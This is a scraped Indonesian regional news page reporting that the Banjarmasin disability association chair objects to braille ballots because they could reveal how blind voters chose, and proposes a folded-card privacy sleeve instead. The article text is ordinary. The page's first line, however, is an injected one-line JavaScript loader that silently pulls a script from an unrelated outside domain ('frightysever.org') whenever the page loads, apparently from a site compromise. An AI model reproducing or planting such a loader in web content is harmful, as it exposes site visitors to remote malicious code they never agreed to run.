(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ketua PPDI Banjarmasin Tidak Senang dengan Surat Suara Braille


BANJARMASIN, Hak politik difabel di Indonesia dilindungi oleh Pasal 13 huruf g Undang-Undang Nomor 8 Tahun 2016 tentang Penyandang Disabilitas. Aturan itu menegaskan kelompok difabel berhak memperoleh akses pada sarana dan prasarana penyelenggaraan pemilihan umum, pemilihan kepala daerah, bahkan pemilihan kepala desa.
Dipersipakan sebuah surat suara braille untuk pemilihan capres-cawapres dan DPD-RI bagi penyandang tunanetra di Pemilu 17 April nanti. Selain itu, untuk akses yang lebih mudah, para tunanetra juga akan diberi pendamping hingga memasuki bilik suara.

Meski tidak ada surat suara braille untuk DPR RI, DPRD provinsi dan DPRD kabupaten/kota, Ketua KPU Banjarmasin Khairunnizan memastikan netralitas penyelenggara pemungutan suara tetap terjamin. “Sebagai pendampingnya (kaum tunanetra) adalah orang kepercayaan yang dipilihnya sendiri. Apalagi, dalam setiap TPS juga ditempatkan pengawas pemilihan dan pengawas yang diterjunkan Bawaslu,” jelasnya.

Ketua Perkumpulan Penyandang Disabilitas Indonesia (PPDI) Banjarmasin, Slamet Riyadi mengatakan, justru pihaknya merasa tidak senang dengan adanya suara suara braile ini. Pihaknya justru ingin surat suara yang sama dengan surat suara yang biasa.
“Kalau memang braille, kami tidak senang, nanti ketahuan siapa yang memilih siapa,” jelas Slamet ketika dihubungi melalui via telepon.

Bisa saja jika ingin menggunakan braille pada surat suara, jelasnya. Namun ia meminta sebuah template tambahan berupa karton manila yang dilipat dua, sehingga nanti surat suara mereka bisa dimasukan di dalam karton tersebut dan pilihan mereka terjamin kerahasiaannya saat memilih.
Namun hingga saat ini pria yang juga merupakan salah satu relawan demokrasi untuk kaum difabel berencana untuk membahas hal ini lebih lanjut saat nanti jika ada agenda dengan KPU Kota Banjarmasin dan surat suara sudah mendarat di Banjarmasin. (mario)

Reporter:Mario
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

10 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

11 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

11 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

13 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

14 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

14 jam ago

This website uses cookies.